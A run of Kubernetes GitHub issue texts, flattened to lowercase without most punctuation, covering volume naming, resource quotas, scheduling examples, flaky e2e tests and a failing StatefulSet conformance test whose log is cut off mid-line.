\ memory\ : \ 15434188ki\ ,       \ pods\ : \ 110\      },     \ conditions\ :         {         \ type\ : \ outofdisk\ ,         \ status\ : \ false\ ,         \ lastheartbeattime\ : \ 2016-05-31t13:22:32z\ ,         \ lasttransitiontime\ : \ 2016-05-30t22:43:18z\ ,         \ reason\ : \ kubelethassufficientdisk\ ,         \ message\ : \ kubelet has sufficient disk space available\        },       {         \ type\ : \ ready\ ,         \ status\ : \ true\ ,         \ lastheartbeattime\ : \ 2016-05-31t13:22:32z\ ,         \ lasttransitiontime\ : \ 2016-05-30t22:43:18z\ ,         \ reason\ : \ kubeletready\ ,         \ message\ : \ kubelet is posting ready status. warning: cpu hardcapping unsupported\        }      ,     \ addresses\ :         {         \ type\ : \ internalip\ ,         \ address\ : \ 10.115.0.117\        },       {         \ type\ : \ legacyhostip\ ,         \ address\ : \ 10.115.0.117\        },       {         \ type\ : \ externalip\ ,         \ address\ : \ 54.171.148.156\        }      ,     \ daemonendpoints\ : {       \ kubeletendpoint\ : {         \ port\ : 10250       }     },     \ nodeinfo\ : {       \ machineid\ : \ 1d7ef93259a343c2a20e96407fcb7444\ ,       \ systemuuid\ : \ ec26e0c6-8c3c-0634-a69b-de28d91118cc\ ,       \ bootid\ : \ 0d6d130b-c8b6-4ae4-95df-9c237d84fa19\ ,       \ kernelversion\ : \ 3.16.0-4-amd64\ ,       \ osimage\ : \ debian gnu/linux 8  jessie \ ,       \ containerruntimeversion\ : \ docker://1.9.1\ ,       \ kubeletversion\ : \ v1.2.4\ ,       \ kubeproxyversion\ : \ v1.2.4\      }   } }

https://github.com/kubernetes/kubernetes/pull/29481 adds readyreplicas to replica sets. https://github.com/kubernetes/kubernetes/pull/32771 adds availablereplicas/minreadyseconds to replicasets  we still need to add readyreplicas to deployments.

problem   this issue is related to https://github.com/kubernetes/kubernetes/issues/29555 which was fixed by pr https://github.com/kubernetes/kubernetes/pull/29673. that issue fixed name collisions for non-attachable volumes  which is much more common , but not for attachable volumes.  specifically, if a single pod references the same attachable disk via two different volume names  possibly to refer to different partitions , the names will collide.    suggested fix    there are three main  volumemanager  data structures: - actual state of the world  asw  - desired state of the world  dsw  - nested pending operations  formerly goroutinemap   instead of using the same key  unique volume name  for all these data structs, the key for asw and dsw should be a struct that includes unique volume name and unique pod name. nested pending operations can continue to operate on unique volume name to keep the existing protection against multiple operations on the same volume.    suggested cleanup   move  getvolumename    to  attacher  volumes interface  instead of required for all volumes . with pr https://github.com/kubernetes/kubernetes/pull/29673 non-attachable volumes auto-generate the volume name. ensure that  markvolumeasattached    has all the information it needs to either generate the name in either case  instead of passing in an override .

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : na  ---    is this a bug report or feature request?    choose one : bug  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : head/1.4.0.beta    environment  : -   cloud provider or hardware configuration  : -   os    e.g. from /etc/os-release : -   kernel    e.g.  uname -a  : -   install tools  : -   others  :    what happened  :  kube-dns  https://github.com/kubernetes/kubernetes/blob/1e7120f02cc39798eb3d2ac0a4e7e8c0e80792ca/cluster/addons/dns/skydns-rc.yaml.base  spec here doesn't specify any resource limits for dnsmasq container.  with kubelet eviction turned on, this might put the container under best effort class and could get evicted?    what you expected to happen  : resource limits for dnsmasq container defined.     how to reproduce it    as minimally and precisely as possible :    anything else do we need to know  :

stuff to migrate:\r \r 1. sysctl bridge-nf-call-iptables\r 2. promiscuous bridge mode and ebtables deduplication\r 3. traffic shaper\r 4. hostport

kubernetes version    use  kubectl version  :\r v1.4.5\r \r   what happened  :\r i have a 3rd party resource of my ci which works as an umbrella resource. and there is a controller to spin up jenkins pod based on this ci 3rd party resource object.\r to ensure eventually consistency and tolerance, i have retry logic in my controller to re-create rc for my jenkins if fail last time.\r further more, i have enabled resource quota in my cluster.\r \r here is the problem:\r the log shows resource quota exceeded but when i  kubectl get rc , there is only little of them.\r    \r root@1acec8ef5f58:/go  kubectl get resourcequota object-counts -o yaml\r apiversion: v1\r kind: resourcequota\r metadata:\r   creationtimestamp: 2016-12-22t03:30:05z\r   name: object-counts\r   namespace: ciaas-qa\r   resourceversion: \ 116776836\ \r   selflink: /api/v1/namespaces/ciaas-qa/resourcequotas/object-counts\r   uid: ee6de881-c7f6-11e6-8568-74dbd1808927\r spec:\r   hard:\r     configmaps: \ 10\ \r     replicationcontrollers: \ 100\ \r     secrets: \ 20\ \r     services: \ 100\ \r     services.loadbalancers: \ 100\ \r     services.nodeports: \ 0\ \r status:\r   hard:\r     configmaps: \ 10\ \r     replicationcontrollers: \ 100\ \r     secrets: \ 20\ \r     services: \ 100\ \r     services.loadbalancers: \ 100\ \r     services.nodeports: \ 0\ \r   used:\r     configmaps: \ 0\ \r     replicationcontrollers: \ 100\ \r     secrets: \ 1\ \r     services: \ 12\ \r     services.loadbalancers: \ 12\ \r     services.nodeports: \ 0\ \r    \r    \r root@1acec8ef5f58:/go  kubectl get rc | wc -l\r 14\r    \r \r this is really confuse to customer.\r \r i know that the mechanism of resource quota calculating is:\r - admission controller to add resource quota before actual storing the object data\r - resource quota controller to reconcile with actual resource number in etcd\r \r but the resource quota calculation is not realtime which is confuse when customer try to get the actual resource number.\r \r so my question is can we find another solution to calculating the resource quota number, say, after put into etcd successfully? or is there any plan to enhance this?

there's no example for  preferredduringschedulingignoredduringexecution  in any documentation.\r \r users are tend to re-use existing  requiredduringschedulingignoredduringexecution   example, but unfortunately, preferredduringschedulingignoredduringexecution is an array. this leads some confusions, like:   39934\r \r we need to add examples to clarify this priority.

hi there,\r \r i setup my kubernetes cluster on centos 7 by kubeadm, i can view the logs via 'kubectl logs $pod -f', but i can't find the logs files either in the /var/log/containers directory or the /var/lib/docker/containers directory.  and even i searched the whole system by the system find command, there's no log file related to kubernetes pod. this is really weird.\r \r any suggestions?

this comes from discussion here: https://github.com/kubernetes/kubernetes/pull/42362 issuecomment-285175701. generally we would like to be able to suggest a user a new functionality is available eg. newer generator for deployments  like in the linked issue  and he should pick if he wants to use new or stay with the old choice. that choice should be recorder not to bother user with the same question next time. although i imagine having 3 options: yes, no, ask next time.\r \r @kubernetes/sig-cli-feature-requests wdyt\r @janetkuo fyi, since this came from you\r

reading etcd migration docs  1  and the script  2  that carries the migration/upgrade, i don't see anything verifying the v2 data are correctly migrated/transformed into v3 data. what is the proper way to do it? after checking both v2 and v3 data all the keys from v2 are present in v3, with all key values identical. is it enough to check for every non-directory v2 key if it is present in v3 data and then compare v2 key value with the corresponding v3 key value? anything else that needs to be checked?\r \r  1  https://github.com/kubernetes/kubernetes.github.io/blob/master/docs/admin/etcd_upgrade.md\r  2  https://github.com/kubernetes/kubernetes/blob/master/cluster/images/etcd/attachlease/attachlease.go

flaky job: pr:pull-kubernetes-federation-e2e-gce  flakes in the past week:   126    consistency:   91.10%         flakiest tests by flake count: | test | flake count | | --- | --- | | federation up | 101 | | federationtest | 47 | |  k8s.io  federated services  feature:federation  with clusters federated service should recreate service shard in underlying clusters when service shard is deleted | 10 |   <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | shashidharatd |  k8s.io  federated services  feature:federation  with clusters federated service should recreate service shard in underlying clusters when service shard is deleted | | sig/federation |  k8s.io  federated services  feature:federation  with clusters federated service should recreate service shard in underlying clusters when service shard is deleted |  </details><br>   flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial/1173\r \r    \r i0607 01:09:38.349  \u001b 91m\u001b 1mâ€¢! panic  32.767 seconds \u001b 0m\r i0607 01:09:38.349   k8s.io  initializers\r i0607 01:09:38.349  \u001b 90m/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:617\u001b 0m\r i0607 01:09:38.349    \u001b 91m\u001b 1mshould dynamically register and apply initializers to pods  serial   it \u001b 0m\r i0607 01:09:38.349    \u001b 90m/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/extension/initializers.go:206\u001b 0m\r i0607 01:09:38.349  \r i0607 01:09:38.350    \u001b 91m\u001b 1mtest panicked\u001b 0m\r i0607 01:09:38.350    \u001b 91mruntime error: invalid memory address or nil pointer dereference\u001b 0m\r i0607 01:09:38.350    /usr/local/go/src/runtime/asm_amd64.s:514\r i0607 01:09:38.350  \r i0607 01:09:38.350    \u001b 91mfull stack trace\u001b 0m\r i0607 01:09:38.350    \t/usr/local/go/src/runtime/panic.go:489 +0x2cf\r i0607 01:09:38.350    k8s.io/kubernetes/test/e2e/common.  resourceconsumer .sendconsumecpurequest.func1 0x2ef4ce0, 0xc421f65140, 0xc42114fd3f \r i0607 01:09:38.351    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/autoscaling_utils.go:231 +0x5f\r

\r   is this a bug report \r \r \r >  \r \r \r   what happened  :\r there is a pod which is using pvc nfs  when i delete pvc first and then delete pod  even with very less different between pod and pvc deletion  then pod goes to in terminate state forever\r  this is happened because pvc deleted first before unmounted from pod by kubelet \r hence unmount failed and it left pod in terminate state.\r \r   what you expected to happen  :\r if pvc already deleted then unmounting should happen properly and pod should not be in terminate state.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r step 1: create a nfs based pvc\r step 2- create a pod which will write the data to pvc\r step 3- deleted the pvc and pod may be use following command\r            $kubectl delete pvc <pvc_name> ; kubectl delete pod <pod name which is using pvc>\r \r \r   anything else we need to know?  :\r checked on 1.7.4 and 1.8.2 kube version and its re-creatable\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.2 and 1.8.4\r - cloud provider or hardware configuration: \r - os  e.g. from /etc/os-release : ubuntu 16.4\r - kernel  e.g.  uname -a  :  4.4.0-89-generic  112-ubuntu smp mon jul 31 19:38:41 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r

1. every pod have their own unique lable like name. so selector can select one pod .\r 2. ingress support headless service\r eg:\r    yaml\r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: test\r   annotations:\r     ingress.kubernetes.io/rewrite-target: /\r spec:\r   rules:\r   - host: foo.bar.com\r     http:\r       paths:\r       - path: /foo\r         backend:\r           servicename: s1\r           podname:app-0\r           serviceport: 80\r       - path: /bar\r         backend:\r           servicename: s1\r           podname:app-1\r           serviceport: 80\r

 \r   what happened  :\r \r when calling  kubeadm init , there is no way to override default flag values for the different components of the controlplane. this is surprising, as in the config structure  and in controlplane phase codebase itself , there are explicit settings for doing that  apiserverextraargs, controllermanagerextraargs, schedulerextraargs .\r \r   what you expected to happen  :\r \r those config fields should be exposed as flags on  kubeadm init  and  kubeadm phase controlplane \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r try to deploy k8s using kubeadm with a custom admission control setting\r \r  i'll follow up on this issue with a pr

currently, a  customresourcedefinition  can define validation via an openapi v3 schema. as talked about in  59151, when crds to go ga, any field specified in a custom resource that is not allowed according to the provided openapi v3 scheme will be ignored. this will require that a validation schema be robust. \r \r the lines of code required to define such a schema can quickly become very large. hence, it would be helpful if a generator were created for such a task. it is my understand that the pieces to accomplish this are already present and just need to be pieced together.\r \r  /area custom-resources\r  /assign\r \r /cc @sttts @deads2k @liggitt @ash2k @mbohlool @lavalamp @jennybuckley @munnerz @colemickens @nikhita

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  kind bug\r \r \r \r   what happened  :\r since i update my local k8s cluster deployment to v1.10 the following conformance test keep failing \r \r kubernetes e2e suite. sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  scaling should happen in predictable order and halt if any stateful pod is unhealthy  conformance \r   \r   what you expected to happen  :\r suppose to work fine as it was working with k8s cluster v1.9\r \r   how to reproduce it  as minimally and precisely as possible   :\r basically i just run the e2e  conformance  test to my local k8s cluster \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: local cluster\r \r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r   error message: i got in the console as i'm running the e2e test using command:  \r    \r  • failure  165.362 seconds \r  sig-apps  statefulset\r /home/ubuntu/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/apps/framework.go:22\r    k8s.io  basic statefulset functionality  statefulsetbasic \r   /home/ubuntu/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:669\r     scaling should happen in predictable order and halt if any stateful pod is unhealthy  conformance   it \r    /home/ubuntu/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:674\r     expected error:\r         < errors.errorstring | 0xc42008b550>: {\r             s: \ watch closed before until timeout\ ,\r         }\r         watch closed before until timeout\r     not to have occurred\r     /home/ubuntu/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/apps/statefulset.go:721\r    \r \r   logs  \r    \r <?xml version=\ 1.0\  encoding=\ utf-8\ ?>\r   <testsuite tests=\ 1\  failures=\ 1\  time=\ 167.56199988\ >\r       <testcase name=\  k8s.io   sig-node  kubelet  k8s.io   sig-node  host cleanup with volume mounts  sig-storage  hostcleanup  flaky  host cleanup after disrupting nfs volume  nfs  after stopping the nfs-server and deleting the  active  client pod, the nfs mount and the pod& 39;s uid directory should be removed.\  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  k8s.io  sysctls should reject invalid sysctls\  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  sig-network  esipp  slow   disabledforlargeclusters  should work for type=loadbalancer\  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  sig-api-machinery  initializers  feature:initializers  will be set to nil if a patch removes the last pending initializer\  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  sig-storage  volume fstype  feature:vsphere  verify fstype - ext3 formatted volume\  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  sig-storage  emptydir wrapper volumes should not cause race condition when used for configmaps  serial   slow \  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  sig-scalability  load capacity  feature:manualperformance  should be able to handle 30 pods per node { replicationcontroller} with 0 secrets, 0 configmaps and 2 daemons\  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  sig-scalability  density  feature:manualperformance  should allow starting 30 pods per node using {extensions deployment} with 0 secrets, 0 configmaps and 0 daemons\  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  k8s.io  gke node pools  feature:gkenodepool  should create a cluster with multiple node pools  feature:gkenodepool \  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  sig-storage  subpath atomic writer volumes should support subpaths with downward pod\  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  sig-autoscaling   hpa  horizontal pod autoscaling  scale resource: custom metrics from stackdriver  should scale down with custom metric of type pod from stackdriver with prometheus  feature:custommetricsautoscaling \  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  k8s.io  pods should have their auto-restart back-off timer reset on image update  slow \  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  sig-apps  daemon set  serial  should not update pod when spec was updated and update strategy is ondelete\  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  sig-autoscaling  cluster size autoscaling  slow  should correctly scale down after a node is not needed when there is non autoscaled pool feature:clustersizeautoscalingscaledown \  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  k8s.io  probing container should have monotonically increasing restart count   slow   conformance \  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  k8s.io  pods should allow activedeadlineseconds to be updated   conformance \  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  sig-api-machinery  downward api should provide default limits.cpu/memory from node allocatable   conformance \  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  k8s.io   sig-node  security context  feature:securitycontext  should support volume selinux relabeling\  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  sig-apps  statefulset  k8s.io  deploy clustered applications  feature:statefulset   slow  should creating a working mysql cluster\  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  sig-storage  subpath  volume type: gluster  should support creating multiple subpath from same volumes  slow \  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  sig-storage  storage policy based volume provisioning  feature:vsphere  verify vsan storage capability with invalid hostfailurestotolerate value is not honored for dynamically provisioned pvc using storageclass\  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  sig-storage  emptydir volumes should support  non-root,0777,default   conformance \  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  sig-storage  configmap optional updates should be reflected in volume   conformance \  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  sig-storage  projected should provide container& 39;s memory limit  conformance \  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  sig-network  networking should provide unchanging, static url paths for kubernetes api services\  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  sig-network  proxy version v1 should proxy through a service and a pod   conformance \  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  sig-api-machinery  initializers  feature:initializers  don& 39;t cause replicaset controller creating extra pods if the initializer is not handled  serial \  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  sig-storage  subpath  volume type: hostpath  should support restarting containers using file as subpath  slow \  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  sig-apps  daemon set  serial  should retry creating failed daemon pods  conformance \  classname=\ kubernetes e2e suite\  time=\ 0\ >\r           <skipped></skipped>\r       </testcase>\r       <testcase name=\  sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  scaling should happen in predictable order and halt if any stateful pod is unhealthy  conformance \  classname=\ kubernetes e2e suite\  time=\ 165.362187498\ >\r           <failure type=\ failure\ >/home/ubuntu/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:674& xa;expected error:& xa;    &lt; errors.errorstring | 0xc42008b550&gt;: {& xa;        s: & 34;watch closed before until timeout& 34;,& xa;    }& xa;    watch closed before until timeout& xa;not to have occurred& xa;/home/ubuntu/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/apps/statefulset.go:721</failure>\r           <system-out> beforeeach   sig-apps  statefulset& xa;  /home/ubuntu/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:141& xa;� 1mstep� 0m: creating a kubernetes client& xa;apr 13 11:03:45.257: info: &gt;&gt;&gt; kubeconfig: /home/ubuntu/.kube/config& xa;� 1mstep� 0m: building a namespace api object& xa;apr 13 11:03:45.401: info: no podsecuritypolicies found; assuming podsecuritypolicy is disabled.& xa;� 1mstep� 0m: waiting for a default service account to be provisioned in namespace& xa; beforeeach   sig-apps  statefulset& xa;  /home/ubuntu/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/apps/statefulset.go:57& xa; beforeeach   k8s.io  basic statefulset functionality  statefulsetbasic & xa;  /home/ubuntu/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/apps/statefulset.go:72& xa;� 1mstep� 0m: creating service test in namespace e2e-tests-statefulset-tvmzl& xa; it  scaling should happen in predictable order and halt if any stateful pod is unhealthy  conformance & xa;  /home/ubuntu/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:674& xa;� 1mstep� 0m: initializing watcher for selector baz=blah,foo=bar& xa;� 1mstep� 0m: creating stateful set ss in namespace e2e-tests-statefulset-tvmzl& xa;� 1mstep� 0m: waiting until all stateful set ss replicas will be running in namespace e2e-tests-statefulset-tvmzl& xa;apr 13 11:05:15.439: info: found 0 stateful pods, waiting for 1& xa;apr 13 11:05:25.446: info: waiting for pod ss-0 to enter running - ready=true, currently running - ready=true& xa;� 1mstep� 0m: confirming that stateful set scale up will halt with unhealthy stateful pod& xa;apr 13 11:05:25.453: info: running & 39;/snap/bin/kubectl --server=https://11.10.1.104 --kubeconfig=/home/ubuntu/.kube/config exec --namespace=e2e-tests-statefulset-tvmzl ss-0 -- /bin/sh -c mv -v /usr/share/nginx/html/index.html /tmp/ || true& 39;& xa;apr 13 11:05:30.882: info: stderr: & 34;& 34;& xa;apr 13 11:05:30.882: info: stdout of mv -v /usr/share/nginx/html/index.html /tmp/ || true on ss-0: & 39;/usr/share/nginx/html/index.html& 39; -&gt; & 39;/tmp/index.html& 39;& xa;& xa;apr 13 11:05:30.890: info: waiting for pod ss-0 to enter running - ready=false, currently running - ready=true& xa;apr 13 11:05:40.899: info: waiting for pod ss-0 to enter running - ready=false, currently running - ready=false& xa;apr 13 11:05:40.899: info: waiting for statefulset status.replicas updated to 0& xa;apr 13 11:05:40.942: info: verifying statefulset ss doesn& 39;t scale past 1 for another 9.999999428s& xa;apr 13 11:05:41.951: info: verifying statefulset ss doesn& 39;t scale past 1 for another 8.988178697s& xa;apr 13 11:05:42.959: info: verifying statefulset ss doesn& 39;t scale past 1 for another 7.979416399s& xa;apr 13 11:05:43.968: info: verifying statefulset ss doesn& 39;t scale past 1 for another 6.970905888s& xa;apr 13 11:05:44.976: info: verifying statefulset ss doesn& 39;t scale past 1 for another 5.962394394s& xa;apr 13 11:05:45.984: info: verifying statefulset ss doesn& 39;t scale past 1 for another 4.953821545s& xa;apr 13 11:05:47.000: info: verifying statefulset ss doesn& 39;t scale past 1 for another 3.945972157s& xa;apr 13 11:05:48.008: info: verifying statefulset ss doesn& 39;t scale past 1 for another 2.930191005s& xa;apr 13 11:05:49.016: info: verifying statefulset ss doesn& 39;t scale past 1 for another 1.921902294s& xa;apr 13 11:05:50.024: info: verifying statefulset ss doesn& 39;t scale past 1 for another 914.622089ms& xa;� 1mstep� 0m: scaling up stateful set ss to 3 replicas and waiting until all of them will be running in namespace e2e-tests-statefulset-tvmzl& xa;apr 13 11:05:51.032: info: running & 39;/snap/bin/kubectl --server=https://11.10.1.104 --kubeconfig=/home/ubuntu/.kube/config exec --namespace=e2e-tests-statefulset-tvmzl ss-0 -- /bin/sh -c mv -v /tmp/index.html /usr/share/nginx/html/ || true& 39;& xa;apr 13 11:05:51.467: info: stderr: & 34;& 34;& xa;apr 13 11:05:51.467: info: stdout of mv -v /tmp/index.html /usr/share/nginx/html/ || true on ss-0: & 39;/tmp/index.html& 39; -&gt; & 39;/usr/share/nginx/html/index.html& 39;& xa;& xa;apr 13 11:05:51.475: info: found 1 stateful pods, waiting for 3& xa;apr 13 11:06:01.483: info: waiting for pod ss-0 to enter running - ready=true, currently running - ready=true& xa;apr 13 11:06:01.483: info: waiting for pod ss-1 to enter running - ready=true, currently running - ready=true& xa;apr 13 11:06:01.483: info: waiting for pod ss-2 to enter running - ready=true, currently running - ready=true& xa;� 1mstep� 0m: verifying that stateful set ss was scaled up in order& xa; aftereach   k8s.io  basic statefulset functionality  statefulsetbasic & xa;  /home/ubuntu/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/apps/statefulset.go:83& xa;apr 13 11:06:01.492: info: running & 39;/snap/bin/kubectl --server=https://11.10.1.104 --kubeconfig=/home/ubuntu/.kube/config describe po ss-0 --namespace=e2e-tests-statefulset-tvmzl& 39;& xa;apr 13 11:06:02.016: info: stderr: & 34;& 34;& xa;apr 13 11:06:02.016: info: & xa;output of kubectl describe ss-0:& xa;name:           ss-0& xa;namespace:      e2e-tests-statefulset-tvmzl& xa;node:           worker-n7-1-xpqd33/11.10.1.7& xa;start time:     fri, 13 apr 2018 11:05:15 -0400& xa;labels:         baz=blah& xa;                controller-revision-hash=ss-76cb68b6ff& xa;                foo=bar& xa;                statefulset.kubernetes.io/pod-name=ss-0& xa;annotations:    &lt;none&gt;& xa;status:         running& xa;ip:             10.1.77.157& xa;controlled by:  statefulset/ss& xa;containers:& xa;  nginx:& xa;    container id:   docker://c227fa5b01e467250246d988d1302160cb72ce6451aa064d40a503a38a07b03d& xa;    image:          k8s.gcr.io/nginx-slim-amd64:0.20& xa;    image id:       docker-pullable://k8s.gcr.io/nginx-slim-amd64@sha256:6654db6d4028756062edac466454ee5c9cf9b20ef79e35a81e3c840031eb1e2b& xa;    port:           &lt;none&gt;& xa;    host port:      &lt;none&gt;& xa;    state:          running& xa;      started:      fri, 13 apr 2018 11:05:18 -0400& xa;    ready:          true& xa;    restart count:  0& xa;    readiness:      http-get http://:80/index.html delay=0s timeout=1s period=1s  success=1  failure=1& xa;    environment:    &lt;none&gt;& xa;    mounts:& xa;      /var/run/secrets/kubernetes.io/serviceaccount from default-token-wmlks  ro & xa;conditions:& xa;  type           status& xa;  initialized    true & xa;  ready          true & xa;  podscheduled   true & xa;volumes:& xa;  default-token-wmlks:& xa;    type:        secret  a volume populated by a secret & xa;    secretname:  default-token-wmlks& xa;    optional:    false& xa;qos class:       besteffort& xa;node-selectors:  &lt;none&gt;& xa;tolerations:     node.kubernetes.io/not-ready:noexecute for 300s& xa;                 node.kubernetes.io/unreachable:noexecute for 300s& xa;events:& xa;  type     reason                 age                 from                         message& xa;  ----     ------                 ----                ----                         -------& xa;  normal   scheduled              47s                 default-scheduler            successfully assigned ss-0 to worker-n7-1-xpqd33& xa;  normal   successfulmountvolume  47s                 kubelet, worker-n7-1-xpqd33  mountvolume.setup succeeded for volume & 34;default-token-wmlks& 34;& xa;  normal   pulled                 44s                 kubelet, worker-n7-1-xpqd33  container image & 34;k8s.gcr.io/nginx-slim-amd64:0.20& 34; already present on machine& xa;  normal   created                44s                 kubelet, worker-n7-1-xpqd33  created container& xa;  normal   started                44s                 kubelet, worker-n7-1-xpqd33  started container& xa;  warning  unhealthy              11s  x21 over 31s   kubelet, worker-n7-1-xpqd33  readiness probe failed: http probe failed with statuscode: 404& xa;& xa;apr 13 11:06:02.016: info: running & 39;/snap/bin/kubectl --server=https://11.10.1.104 --kubeconfig=/home/ubuntu/.kube/config logs ss-0 --namespace=e2e-tests-statefulset-tvmzl --tail=100& 39;& xa;apr 13 11:06:02.287: info: stderr: & 34;& 34;& xa;apr 13 11:06:02.288: info: & xa;last 100 log lines of ss-0:& xa;10.1.77.1 - -  13/apr/2018:15:05:19 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:20 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:21 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:22 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:23 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 